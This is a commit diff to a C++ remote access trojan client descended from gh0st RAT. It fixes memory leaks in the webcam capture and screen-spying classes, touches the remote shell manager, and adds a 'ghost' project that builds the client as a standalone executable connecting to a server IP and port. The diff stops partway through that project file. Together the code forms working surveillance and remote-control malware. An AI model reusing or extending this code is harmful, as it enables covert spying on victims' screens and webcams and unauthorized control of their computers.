修复内存泄漏缺陷
详见ReadMe.txt
10
ReadMe.txt
@@ -14,3 +14,13 @@
|
|||||||
2、修复部分内存泄漏问题,改善线程处理逻辑。
|
2、修复部分内存泄漏问题,改善线程处理逻辑。
|
||||||
3、修复客户端不停断线重连的缺陷。解决部分内存泄漏缺陷。
|
3、修复客户端不停断线重连的缺陷。解决部分内存泄漏缺陷。
|
||||||
4、解决几处缺陷。【遗留问题】文件管理对话框释放资源导致第2次打开崩溃。
|
4、解决几处缺陷。【遗留问题】文件管理对话框释放资源导致第2次打开崩溃。
|
||||||
|
|
||||||
|
2019.1.6
|
||||||
|
|
||||||
|
1、改用EnumDisplaySettings获取屏幕大小,原方法获取屏幕大小不准。
|
||||||
|
|
||||||
|
2、将FileManagerDlg、InputDlg、FileTransferModeDlg、TrueColorToolBar还原到gh0st最初版本。
|
||||||
|
|
||||||
|
3、新增项目"ghost",不通过TestRun调用dll,而是直接生成可执行文件。
|
||||||
|
|
||||||
|
4、修复开启视频,客户端产生的一处内存泄漏缺陷,m_pCapture需要释放。
|
||||||
|
|||||||
@@ -8,14 +8,14 @@ public:
|
|||||||
CBuffer(void);
|
CBuffer(void);
|
||||||
~CBuffer(void);
|
~CBuffer(void);
|
||||||
|
|
||||||
ULONG CBuffer::GetBufferMaxLength();
|
ULONG GetBufferMaxLength();
|
||||||
ULONG CBuffer::ReadBuffer(PBYTE Buffer, ULONG ulLength);
|
ULONG ReadBuffer(PBYTE Buffer, ULONG ulLength);
|
||||||
ULONG CBuffer::GetBufferLength(); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>;
|
ULONG GetBufferLength(); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ч<EFBFBD><D0A7><EFBFBD>ݳ<EFBFBD><DDB3><EFBFBD>;
|
||||||
ULONG CBuffer::DeAllocateBuffer(ULONG ulLength);
|
ULONG DeAllocateBuffer(ULONG ulLength);
|
||||||
VOID CBuffer::ClearBuffer();
|
VOID ClearBuffer();
|
||||||
ULONG CBuffer::ReAllocateBuffer(ULONG ulLength);
|
ULONG ReAllocateBuffer(ULONG ulLength);
|
||||||
BOOL CBuffer::WriteBuffer(PBYTE Buffer, ULONG ulLength);
|
BOOL WriteBuffer(PBYTE Buffer, ULONG ulLength);
|
||||||
PBYTE CBuffer::GetBuffer(ULONG ulPos=0);
|
PBYTE GetBuffer(ULONG ulPos=0);
|
||||||
|
|
||||||
protected:
|
protected:
|
||||||
PBYTE m_Base;
|
PBYTE m_Base;
|
||||||
|
|||||||
@@ -35,6 +35,7 @@ CCaptureVideo::~CCaptureVideo()
|
|||||||
SAFE_RELEASE(m_pGB);
|
SAFE_RELEASE(m_pGB);
|
||||||
SAFE_RELEASE(m_pBF);
|
SAFE_RELEASE(m_pBF);
|
||||||
SAFE_RELEASE(m_pGrabber);
|
SAFE_RELEASE(m_pGrabber);
|
||||||
|
SAFE_RELEASE(m_pCapture);
|
||||||
|
|
||||||
CoUninitialize() ;
|
CoUninitialize() ;
|
||||||
}
|
}
|
||||||
@@ -42,61 +43,55 @@ CCaptureVideo::~CCaptureVideo()
|
|||||||
//!!<21>Ҳ<EFBFBD><D2B2><EFBFBD><EFBFBD><EFBFBD>
|
//!!<21>Ҳ<EFBFBD><D2B2><EFBFBD><EFBFBD><EFBFBD>
|
||||||
HRESULT CCaptureVideo::Open(int iDeviceID,int iPress)
|
HRESULT CCaptureVideo::Open(int iDeviceID,int iPress)
|
||||||
{
|
{
|
||||||
HRESULT hResult;
|
printf("CCaptureVideo call Open\n");
|
||||||
|
HRESULT hResult = S_OK;
|
||||||
hResult = InitCaptureGraphBuilder(); //
|
do
|
||||||
if (FAILED(hResult))
|
|
||||||
{
|
{
|
||||||
return hResult;
|
hResult = InitCaptureGraphBuilder();
|
||||||
}
|
if (FAILED(hResult))
|
||||||
if(!BindVideoFilter(iDeviceID, &m_pBF)) //FDo
|
break;
|
||||||
return S_FALSE;
|
if(!BindVideoFilter(iDeviceID, &m_pBF))
|
||||||
|
break;
|
||||||
|
|
||||||
hResult = m_pGB->AddFilter(m_pBF, L"Capture Filter");
|
hResult = m_pGB->AddFilter(m_pBF, L"Capture Filter");
|
||||||
|
|
||||||
hResult = CoCreateInstance(CLSID_SampleGrabber, NULL, CLSCTX_INPROC_SERVER,
|
hResult = CoCreateInstance(CLSID_SampleGrabber, NULL, CLSCTX_INPROC_SERVER,
|
||||||
IID_ISampleGrabber, (void**)&m_pGrabber); //<2F><><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD>
|
IID_ISampleGrabber, (void**)&m_pGrabber); //<2F><><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD>
|
||||||
if(FAILED(hResult))
|
if(FAILED(hResult))
|
||||||
{
|
break;
|
||||||
return hResult;
|
|
||||||
}
|
|
||||||
|
|
||||||
//m_pGrabber <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 1 <20><>ʽ 2 <20>ڴ滺<DAB4><E6BBBA><EFBFBD><EFBFBD>ʽ
|
//m_pGrabber <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 1 <20><>ʽ 2 <20>ڴ滺<DAB4><E6BBBA><EFBFBD><EFBFBD>ʽ
|
||||||
CComQIPtr<IBaseFilter, &IID_IBaseFilter> pGrabBase(m_pGrabber);//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD><C6B5>ʽ
|
CComQIPtr<IBaseFilter, &IID_IBaseFilter> pGrabBase(m_pGrabber);//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ƶ<EFBFBD><C6B5>ʽ
|
||||||
AM_MEDIA_TYPE mt; //<2F><>Ƶ<EFBFBD><C6B5>ʽ
|
AM_MEDIA_TYPE mt; //<2F><>Ƶ<EFBFBD><C6B5>ʽ
|
||||||
ZeroMemory(&mt, sizeof(AM_MEDIA_TYPE));
|
ZeroMemory(&mt, sizeof(AM_MEDIA_TYPE));
|
||||||
mt.majortype = MEDIATYPE_Video;
|
mt.majortype = MEDIATYPE_Video;
|
||||||
mt.subtype = MEDIASUBTYPE_RGB24; // MEDIASUBTYPE_RGB24 ;
|
mt.subtype = MEDIASUBTYPE_RGB24; // MEDIASUBTYPE_RGB24
|
||||||
|
|
||||||
hResult = m_pGrabber->SetMediaType(&mt);
|
hResult = m_pGrabber->SetMediaType(&mt);
|
||||||
if(FAILED(hResult))
|
if(FAILED(hResult))
|
||||||
{
|
break;
|
||||||
return hResult;
|
|
||||||
}
|
|
||||||
hResult = m_pGB->AddFilter(pGrabBase,L"Grabber");
|
hResult = m_pGB->AddFilter(pGrabBase,L"Grabber");
|
||||||
|
|
||||||
if(FAILED(hResult))
|
if(FAILED(hResult))
|
||||||
{
|
break;
|
||||||
return hResult;
|
|
||||||
}
|
|
||||||
|
|
||||||
hResult = m_pCapture->RenderStream(&PIN_CATEGORY_PREVIEW, //<2F><>̬
|
hResult = m_pCapture->RenderStream(&PIN_CATEGORY_PREVIEW, //<2F><>̬
|
||||||
&MEDIATYPE_Video,m_pBF,pGrabBase,NULL);
|
&MEDIATYPE_Video,m_pBF,pGrabBase,NULL);
|
||||||
if(FAILED(hResult))
|
if(FAILED(hResult))
|
||||||
{
|
{
|
||||||
hResult = m_pCapture->RenderStream(&PIN_CATEGORY_CAPTURE,&MEDIATYPE_Video,m_pBF,pGrabBase,NULL);
|
|
||||||
//<2F><>
|
//<2F><>
|
||||||
|
hResult = m_pCapture->RenderStream(&PIN_CATEGORY_CAPTURE,&MEDIATYPE_Video,m_pBF,pGrabBase,NULL);
|
||||||
|
break;
|
||||||
}
|
}
|
||||||
|
|
||||||
if(FAILED(hResult))
|
if(FAILED(hResult))
|
||||||
{
|
break;
|
||||||
return hResult;
|
|
||||||
}
|
|
||||||
hResult = m_pGrabber->GetConnectedMediaType(&mt);
|
hResult = m_pGrabber->GetConnectedMediaType(&mt);
|
||||||
|
|
||||||
if (FAILED(hResult))
|
if (FAILED(hResult))
|
||||||
{
|
break;
|
||||||
return hResult;
|
|
||||||
}
|
|
||||||
|
|
||||||
//3 <20><><EFBFBD><D7BD><EFBFBD><EFBFBD> FDO һ<><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݾͽ<DDBE><CDBD><EFBFBD> <20>ص<EFBFBD><D8B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD>
|
//3 <20><><EFBFBD><D7BD><EFBFBD><EFBFBD> FDO һ<><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ݾͽ<DDBE><CDBD><EFBFBD> <20>ص<EFBFBD><D8B5><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
@@ -115,19 +110,20 @@ HRESULT CCaptureVideo::Open(int iDeviceID,int iPress)
|
|||||||
//<2F><><EFBFBD><EFBFBD>OnTimer
|
//<2F><><EFBFBD><EFBFBD>OnTimer
|
||||||
hResult = m_pGrabber->SetCallback(&mCB, 1);
|
hResult = m_pGrabber->SetCallback(&mCB, 1);
|
||||||
|
|
||||||
m_hWnd = CreateWindow("#32770",
|
m_hWnd = CreateWindow("#32770", "", WS_POPUP, 0, 0, 0, 0, NULL, NULL, NULL, NULL);
|
||||||
"", WS_POPUP, 0, 0, 0, 0, NULL, NULL, NULL, NULL);
|
|
||||||
|
|
||||||
SetupVideoWindow(); //<2F><><EFBFBD>δ<EFBFBD><CEB4><EFBFBD>
|
SetupVideoWindow(); //<2F><><EFBFBD>δ<EFBFBD><CEB4><EFBFBD>
|
||||||
|
|
||||||
hResult = m_pMC->Run(); //<2F><><EFBFBD><EFBFBD>
|
hResult = m_pMC->Run(); //<2F><><EFBFBD><EFBFBD>
|
||||||
|
|
||||||
if(FAILED(hResult))
|
if(FAILED(hResult))
|
||||||
{
|
break;
|
||||||
|
} while (false);
|
||||||
|
|
||||||
|
printf("CCaptureVideo Open %s\n", FAILED(hResult) ? "failed" : "succeed");
|
||||||
|
|
||||||
return hResult;
|
return hResult;
|
||||||
}
|
}
|
||||||
return S_OK;
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
HRESULT CCaptureVideo::InitCaptureGraphBuilder()
|
HRESULT CCaptureVideo::InitCaptureGraphBuilder()
|
||||||
|
|||||||
@@ -16,6 +16,48 @@ bool g_bThreadExit = false;
|
|||||||
HINSTANCE g_hInstance = NULL;
|
HINSTANCE g_hInstance = NULL;
|
||||||
DWORD WINAPI StartClient(LPVOID lParam);
|
DWORD WINAPI StartClient(LPVOID lParam);
|
||||||
|
|
||||||
|
#if _CONSOLE
|
||||||
|
|
||||||
|
enum { E_RUN, E_STOP } status;
|
||||||
|
|
||||||
|
BOOL CALLBACK callback(DWORD CtrlType)
|
||||||
|
{
|
||||||
|
if (CtrlType == CTRL_CLOSE_EVENT)
|
||||||
|
{
|
||||||
|
g_bExit = true;
|
||||||
|
while (E_RUN == status)
|
||||||
|
Sleep(20);
|
||||||
|
}
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
int main(int argc, const char *argv[])
|
||||||
|
{
|
||||||
|
status = E_RUN;
|
||||||
|
if (argc < 3)
|
||||||
|
{
|
||||||
|
std::cout<<"<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>.\n";
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
|
SetConsoleCtrlHandler(&callback, TRUE);
|
||||||
|
const char *szServerIP = argv[1];
|
||||||
|
int uPort = atoi(argv[2]);
|
||||||
|
printf("[remote] %s:%d\n", szServerIP, uPort);
|
||||||
|
|
||||||
|
memcpy(g_szServerIP,szServerIP,strlen(szServerIP));
|
||||||
|
g_uPort = uPort;
|
||||||
|
|
||||||
|
HANDLE hThread = CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)StartClient,NULL,0,NULL);
|
||||||
|
|
||||||
|
WaitForSingleObject(hThread, INFINITE);
|
||||||
|
CloseHandle(hThread);
|
||||||
|
status = E_STOP;
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
#else
|
||||||
|
|
||||||
BOOL APIENTRY DllMain( HINSTANCE hInstance,
|
BOOL APIENTRY DllMain( HINSTANCE hInstance,
|
||||||
DWORD ul_reason_for_call,
|
DWORD ul_reason_for_call,
|
||||||
LPVOID lpReserved
|
LPVOID lpReserved
|
||||||
@@ -58,6 +100,7 @@ extern "C" __declspec(dllexport) void StopRun() { g_bExit = true; }
|
|||||||
// <20>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>ֹͣ
|
// <20>Ƿ<EFBFBD><C7B7>ɹ<EFBFBD>ֹͣ
|
||||||
extern "C" __declspec(dllexport) bool IsStoped() { return g_bThreadExit; }
|
extern "C" __declspec(dllexport) bool IsStoped() { return g_bThreadExit; }
|
||||||
|
|
||||||
|
#endif
|
||||||
|
|
||||||
DWORD WINAPI StartClient(LPVOID lParam)
|
DWORD WINAPI StartClient(LPVOID lParam)
|
||||||
{
|
{
|
||||||
|
|||||||
@@ -21,6 +21,7 @@
|
|||||||
<UseDebugLibraries>true</UseDebugLibraries>
|
<UseDebugLibraries>true</UseDebugLibraries>
|
||||||
<PlatformToolset>v110</PlatformToolset>
|
<PlatformToolset>v110</PlatformToolset>
|
||||||
<CharacterSet>MultiByte</CharacterSet>
|
<CharacterSet>MultiByte</CharacterSet>
|
||||||
|
<UseOfMfc>false</UseOfMfc>
|
||||||
</PropertyGroup>
|
</PropertyGroup>
|
||||||
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||||
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
<ConfigurationType>DynamicLibrary</ConfigurationType>
|
||||||
|
|||||||
@@ -59,8 +59,6 @@ IOCPClient::~IOCPClient()
|
|||||||
while (S_RUN == m_bWorkThread)
|
while (S_RUN == m_bWorkThread)
|
||||||
Sleep(10);
|
Sleep(10);
|
||||||
|
|
||||||
Sleep(5000);
|
|
||||||
|
|
||||||
DeleteCriticalSection(&m_cs);
|
DeleteCriticalSection(&m_cs);
|
||||||
|
|
||||||
m_bWorkThread = S_END;
|
m_bWorkThread = S_END;
|
||||||
|
|||||||
@@ -5,6 +5,7 @@
|
|||||||
#include "stdafx.h"
|
#include "stdafx.h"
|
||||||
#include "ScreenSpy.h"
|
#include "ScreenSpy.h"
|
||||||
#include "Common.h"
|
#include "Common.h"
|
||||||
|
#include <stdio.h>
|
||||||
|
|
||||||
//////////////////////////////////////////////////////////////////////
|
//////////////////////////////////////////////////////////////////////
|
||||||
// Construction/Destruction
|
// Construction/Destruction
|
||||||
@@ -29,8 +30,16 @@ CScreenSpy::CScreenSpy(ULONG ulbiBitCount)
|
|||||||
m_hFullDC = GetDC(m_hDeskTopWnd);
|
m_hFullDC = GetDC(m_hDeskTopWnd);
|
||||||
|
|
||||||
m_hFullMemDC = CreateCompatibleDC(m_hFullDC);
|
m_hFullMemDC = CreateCompatibleDC(m_hFullDC);
|
||||||
m_ulFullWidth = ::GetSystemMetrics(SM_CXSCREEN); //<EFBFBD><EFBFBD>Ļ<EFBFBD>ķֱ<EFBFBD><EFBFBD><EFBFBD>
|
//::GetSystemMetrics(SM_CXSCREEN/SM_CYSCREEN)<29><>ȡ<EFBFBD><EFBFBD>Ļ<EFBFBD><EFBFBD>С<EFBFBD><EFBFBD>
|
||||||
m_ulFullHeight = ::GetSystemMetrics(SM_CYSCREEN);
|
//<2F><><EFBFBD>統<EFBFBD><E7B5B1>Ļ<EFBFBD><C4BB>ʾ<EFBFBD><CABE><EFBFBD><EFBFBD>Ϊ125%ʱ<><CAB1><EFBFBD><EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ļ<EFBFBD><C4BB>С<EFBFBD><D0A1>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD>1.25<EFBFBD>Ŷ<EFBFBD>
|
||||||
|
DEVMODE devmode;
|
||||||
|
memset(&devmode, 0, sizeof (devmode));
|
||||||
|
devmode.dmSize = sizeof(DEVMODE);
|
||||||
|
devmode.dmDriverExtra = 0;
|
||||||
|
BOOL Isgetdisplay = EnumDisplaySettings(NULL, ENUM_CURRENT_SETTINGS, &devmode);
|
||||||
|
m_ulFullWidth = devmode.dmPelsWidth;
|
||||||
|
m_ulFullHeight = devmode.dmPelsHeight;
|
||||||
|
printf("===> <20><><EFBFBD><EFBFBD><EFBFBD>ֱ<EFBFBD><D6B1>ʴ<EFBFBD>СΪ<D0A1><CEAA>%d x %d\n", m_ulFullWidth, m_ulFullHeight);
|
||||||
m_BitmapInfor_Full = ConstructBI(m_ulbiBitCount,m_ulFullWidth, m_ulFullHeight);
|
m_BitmapInfor_Full = ConstructBI(m_ulbiBitCount,m_ulFullWidth, m_ulFullHeight);
|
||||||
m_BitmapData_Full = NULL;
|
m_BitmapData_Full = NULL;
|
||||||
m_BitmapHandle = ::CreateDIBSection(m_hFullDC, m_BitmapInfor_Full,
|
m_BitmapHandle = ::CreateDIBSection(m_hFullDC, m_BitmapInfor_Full,
|
||||||
|
|||||||
@@ -15,14 +15,14 @@
|
|||||||
class CScreenSpy
|
class CScreenSpy
|
||||||
{
|
{
|
||||||
public:
|
public:
|
||||||
CScreenSpy::CScreenSpy(ULONG ulbiBitCount);
|
CScreenSpy(ULONG ulbiBitCount);
|
||||||
virtual ~CScreenSpy();
|
virtual ~CScreenSpy();
|
||||||
ULONG CScreenSpy::GetBISize();
|
ULONG GetBISize();
|
||||||
LPBITMAPINFO CScreenSpy::GetBIData();
|
LPBITMAPINFO GetBIData();
|
||||||
ULONG m_ulbiBitCount;
|
ULONG m_ulbiBitCount;
|
||||||
LPBITMAPINFO m_BitmapInfor_Full;
|
LPBITMAPINFO m_BitmapInfor_Full;
|
||||||
ULONG m_ulFullWidth, m_ulFullHeight; //<2F><>Ļ<EFBFBD>ķֱ<C4B7><D6B1><EFBFBD>
|
ULONG m_ulFullWidth, m_ulFullHeight; //<2F><>Ļ<EFBFBD>ķֱ<C4B7><D6B1><EFBFBD>
|
||||||
LPBITMAPINFO CScreenSpy::ConstructBI(ULONG ulbiBitCount,
|
LPBITMAPINFO ConstructBI(ULONG ulbiBitCount,
|
||||||
ULONG ulFullWidth, ULONG ulFullHeight);
|
ULONG ulFullWidth, ULONG ulFullHeight);
|
||||||
|
|
||||||
HWND m_hDeskTopWnd; //<2F><>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĵ<EFBFBD><C4B4>ھ<EFBFBD><DABE><EFBFBD>
|
HWND m_hDeskTopWnd; //<2F><>ǰ<EFBFBD><C7B0><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ĵ<EFBFBD><C4B4>ھ<EFBFBD><DABE><EFBFBD>
|
||||||
@@ -31,20 +31,20 @@ public:
|
|||||||
HBITMAP m_BitmapHandle;
|
HBITMAP m_BitmapHandle;
|
||||||
PVOID m_BitmapData_Full;
|
PVOID m_BitmapData_Full;
|
||||||
DWORD m_dwBitBltRop;
|
DWORD m_dwBitBltRop;
|
||||||
LPVOID CScreenSpy::GetFirstScreenData();
|
LPVOID GetFirstScreenData();
|
||||||
ULONG CScreenSpy::GetFirstScreenLength();
|
ULONG GetFirstScreenLength();
|
||||||
LPVOID CScreenSpy::GetNextScreenData(ULONG* ulNextSendLength);
|
LPVOID GetNextScreenData(ULONG* ulNextSendLength);
|
||||||
BYTE* m_RectBuffer;
|
BYTE* m_RectBuffer;
|
||||||
ULONG m_RectBufferOffset;
|
ULONG m_RectBufferOffset;
|
||||||
BYTE m_bAlgorithm;
|
BYTE m_bAlgorithm;
|
||||||
VOID CScreenSpy::WriteRectBuffer(LPBYTE szBuffer,ULONG ulLength);
|
VOID WriteRectBuffer(LPBYTE szBuffer,ULONG ulLength);
|
||||||
CCursorInfor m_CursorInfor;
|
CCursorInfor m_CursorInfor;
|
||||||
HDC m_hDiffMemDC;
|
HDC m_hDiffMemDC;
|
||||||
HBITMAP m_DiffBitmapHandle;
|
HBITMAP m_DiffBitmapHandle;
|
||||||
PVOID m_DiffBitmapData_Full;
|
PVOID m_DiffBitmapData_Full;
|
||||||
ULONG CScreenSpy::CompareBitmap(LPBYTE CompareSourData, LPBYTE CompareDestData,
|
ULONG CompareBitmap(LPBYTE CompareSourData, LPBYTE CompareDestData,
|
||||||
LPBYTE szBuffer, DWORD ulCompareLength);
|
LPBYTE szBuffer, DWORD ulCompareLength);
|
||||||
VOID CScreenSpy::ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight);
|
VOID ScanScreen(HDC hdcDest, HDC hdcSour, ULONG ulWidth, ULONG ulHeight);
|
||||||
};
|
};
|
||||||
|
|
||||||
#endif // !defined(AFX_SCREENSPY_H__5F74528D_9ABD_404E_84D2_06C96A0615F4__INCLUDED_)
|
#endif // !defined(AFX_SCREENSPY_H__5F74528D_9ABD_404E_84D2_06C96A0615F4__INCLUDED_)
|
||||||
|
|||||||
@@ -107,12 +107,12 @@ BEGIN
|
|||||||
BLOCK "080404b0"
|
BLOCK "080404b0"
|
||||||
BEGIN
|
BEGIN
|
||||||
VALUE "CompanyName", "FUCK THE UNIVERSE"
|
VALUE "CompanyName", "FUCK THE UNIVERSE"
|
||||||
VALUE "FileDescription", "A DLL"
|
VALUE "FileDescription", "A GHOST"
|
||||||
VALUE "FileVersion", "1.0.0.1"
|
VALUE "FileVersion", "1.0.0.1"
|
||||||
VALUE "InternalName", "ServerDl.dll"
|
VALUE "InternalName", "ServerDl.dll"
|
||||||
VALUE "LegalCopyright", "Copyright (C) 2019-2025"
|
VALUE "LegalCopyright", "Copyright (C) 2019-2025"
|
||||||
VALUE "OriginalFilename", "ServerDl.dll"
|
VALUE "OriginalFilename", "ServerDl.dll"
|
||||||
VALUE "ProductName", "A DLL"
|
VALUE "ProductName", "A GHOST"
|
||||||
VALUE "ProductVersion", "1.0.0.1"
|
VALUE "ProductVersion", "1.0.0.1"
|
||||||
END
|
END
|
||||||
END
|
END
|
||||||
|
|||||||
@@ -16,6 +16,7 @@ BOOL bStarting = TRUE;
|
|||||||
|
|
||||||
CShellManager::CShellManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
|
CShellManager::CShellManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
|
||||||
{
|
{
|
||||||
|
bStarting = TRUE;
|
||||||
m_hThreadRead = NULL;
|
m_hThreadRead = NULL;
|
||||||
m_hShellProcessHandle = NULL; //<2F><><EFBFBD><EFBFBD>Cmd<6D><64><EFBFBD>̵Ľ<CCB5><C4BD>̾<EFBFBD><CCBE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳̾<DFB3><CCBE><EFBFBD>
|
m_hShellProcessHandle = NULL; //<2F><><EFBFBD><EFBFBD>Cmd<6D><64><EFBFBD>̵Ľ<CCB5><C4BD>̾<EFBFBD><CCBE><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳̾<DFB3><CCBE><EFBFBD>
|
||||||
m_hShellThreadHandle = NULL;
|
m_hShellThreadHandle = NULL;
|
||||||
|
|||||||
12
client/TestRun.vcxproj.user
Normal file
@@ -0,0 +1,12 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<RemoteDebuggerCommand>C:\Users\win7\Desktop\Remoter\TestRun.exe</RemoteDebuggerCommand>
|
||||||
|
<RemoteDebuggerWorkingDirectory>C:\Users\win7\Desktop\Remoter</RemoteDebuggerWorkingDirectory>
|
||||||
|
<RemoteDebuggerServerName>192.168.43.2</RemoteDebuggerServerName>
|
||||||
|
<DeploymentDirectory>C:\Users\win7\Desktop\Remoter</DeploymentDirectory>
|
||||||
|
<AdditionalFiles>$(TargetDir)\TestRun.pdb;$(TargetDir)\ServerDll.dll;$(TargetDir)\ServerDll.pdb</AdditionalFiles>
|
||||||
|
<RemoteDebuggerDeployDebugCppRuntime>false</RemoteDebuggerDeployDebugCppRuntime>
|
||||||
|
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
|
||||||
|
</PropertyGroup>
|
||||||
|
</Project>
|
||||||
144
client/ghost.vcxproj
Normal file
@@ -0,0 +1,144 @@
|
|||||||
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
|
<Project DefaultTargets="Build" ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||||
|
<ItemGroup Label="ProjectConfigurations">
|
||||||
|
<ProjectConfiguration Include="Debug|Win32">
|
||||||
|
<Configuration>Debug</Configuration>
|
||||||
|
<Platform>Win32</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
<ProjectConfiguration Include="Release|Win32">
|
||||||
|
<Configuration>Release</Configuration>
|
||||||
|
<Platform>Win32</Platform>
|
||||||
|
</ProjectConfiguration>
|
||||||
|
</ItemGroup>
|
||||||
|
<PropertyGroup Label="Globals">
|
||||||
|
<ProjectGuid>{3F756E52-23C2-4EE4-A184-37CF788D50A7}</ProjectGuid>
|
||||||
|
<RootNamespace>ClientDll</RootNamespace>
|
||||||
|
<ProjectName>ghost</ProjectName>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.Default.props" />
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'" Label="Configuration">
|
||||||
|
<ConfigurationType>Application</ConfigurationType>
|
||||||
|
<UseDebugLibraries>true</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v110</PlatformToolset>
|
||||||
|
<CharacterSet>MultiByte</CharacterSet>
|
||||||
|
<UseOfMfc>false</UseOfMfc>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'" Label="Configuration">
|
||||||
|
<ConfigurationType>Application</ConfigurationType>
|
||||||
|
<UseDebugLibraries>false</UseDebugLibraries>
|
||||||
|
<PlatformToolset>v110</PlatformToolset>
|
||||||
|
<WholeProgramOptimization>true</WholeProgramOptimization>
|
||||||
|
<CharacterSet>MultiByte</CharacterSet>
|
||||||
|
</PropertyGroup>
|
||||||
|
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.props" />
|
||||||
|
<ImportGroup Label="ExtensionSettings">
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<ImportGroup Label="PropertySheets" Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<Import Project="$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props" Condition="exists('$(UserRootDir)\Microsoft.Cpp.$(Platform).user.props')" Label="LocalAppDataPlatform" />
|
||||||
|
</ImportGroup>
|
||||||
|
<PropertyGroup Label="UserMacros" />
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<IntDir>$(Configuration)\ghost</IntDir>
|
||||||
|
</PropertyGroup>
|
||||||
|
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<IntDir>$(Configuration)\ghost</IntDir>
|
||||||
|
</PropertyGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
|
||||||
|
<ClCompile>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<Optimization>Disabled</Optimization>
|
||||||
|
<AdditionalIncludeDirectories>./;%(AdditionalIncludeDirectories)</AdditionalIncludeDirectories>
|
||||||
|
<RuntimeLibrary>MultiThreadedDebug</RuntimeLibrary>
|
||||||
|
<PreprocessorDefinitions>_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
|
||||||
|
</ClCompile>
|
||||||
|
<Link>
|
||||||
|
<GenerateDebugInformation>true</GenerateDebugInformation>
|
||||||
|
<AdditionalDependencies>zlib.lib;%(AdditionalDependencies)</AdditionalDependencies>
|
||||||
|
<IgnoreSpecificDefaultLibraries>libcmt.lib</IgnoreSpecificDefaultLibraries>
|
||||||
|
</Link>
|
||||||
|
</ItemDefinitionGroup>
|
||||||
|
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
|
||||||
|
<ClCompile>
|
||||||
|
<WarningLevel>Level3</WarningLevel>
|
||||||
|
<Optimization>MaxSpeed</Optimization>
|
||||||
|
<FunctionLevelLinking>true</FunctionLevelLinking>
|
||||||
|
<IntrinsicFunctions>true</IntrinsicFunctions>
|
||||||
|
<RuntimeLibrary>MultiThreaded</RuntimeLibrary>
|
||||||
|
